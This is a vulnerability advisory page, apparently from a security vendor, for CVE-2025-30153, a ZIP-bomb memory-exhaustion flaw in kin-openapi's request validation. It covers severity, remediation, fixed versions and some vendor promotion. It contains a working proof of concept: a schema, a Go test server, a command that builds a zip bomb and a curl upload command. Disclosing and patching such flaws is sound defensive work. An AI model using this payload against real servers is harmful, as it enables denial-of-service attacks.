CVE-2025-30153 is a high-severity (CVSS 7.5) CWE-409 vulnerability in github.com/getkin/kin-openapi. A fix is available for github.com/getkin/kin-openapi — see the affected versions and patch details below.
Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-30153.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-30153 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/getkin/kin-openapiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.
Details
The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.
PoC
To reproduce the vulnerability, you can use the following OpenAPI schema:
openapi: 3.0.0
info:
title: 'Validator'
version: 0.0.1
paths:
/:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
required:
- file
properties:
file:
type: string
format: binary
responses:
'200':
description: Created
And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function`):
package main
import (
"fmt"
"log"
"net/http"
"github.com/getkin/kin-openapi/openapi3filter"
legacyrouter "github.com/getkin/kin-openapi/routers/legacy"
"github.com/getkin/kin-openapi/openapi3"
)
func handler(w http.ResponseWriter, r *http.Request) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromFile("schema.yaml")
if err != nil {
http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
return
}
if err := doc.Validate(r.Context()); err != nil {
http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
return
}
router, err := legacyrouter.NewRouter(doc)
if err != nil {
http.Error(w, "Failed to create router", http.StatusInternalServerError)
return
}
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, "Failed to find route", http.StatusNotFound)
return
}
input := &openapi3filter.RequestValidationInput{
Request: r,
QueryParams: r.URL.Query(),
Route: route,
PathParams: pathParams,
}
if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
return
}
w.Write([]byte("request ok !"))
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:
perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt
Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.
Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)
Impact
An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.
Remediation
I see at least 2 potential fixes/improvements:
- Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
- Update
ZipFileBodyDecoderto enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/getkin/kin-openapi | all versions | 0.131.0go get github.com/getkin/kin-openapi@v0.131.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/getkin/kin-openapi, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/getkin/kin-openapi to 0.131.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-30153 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-30153 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-30153. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| multicluster engine for Kubernetes 2.8 | multicluster-engine/managedcluster-import-controller-rhel9:1779838779 | RHSA-2026:22689 |
Frequently Asked Questions
Is CVE-2025-30153 in your dependencies?
O3 Security finds CVE-2025-30153 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.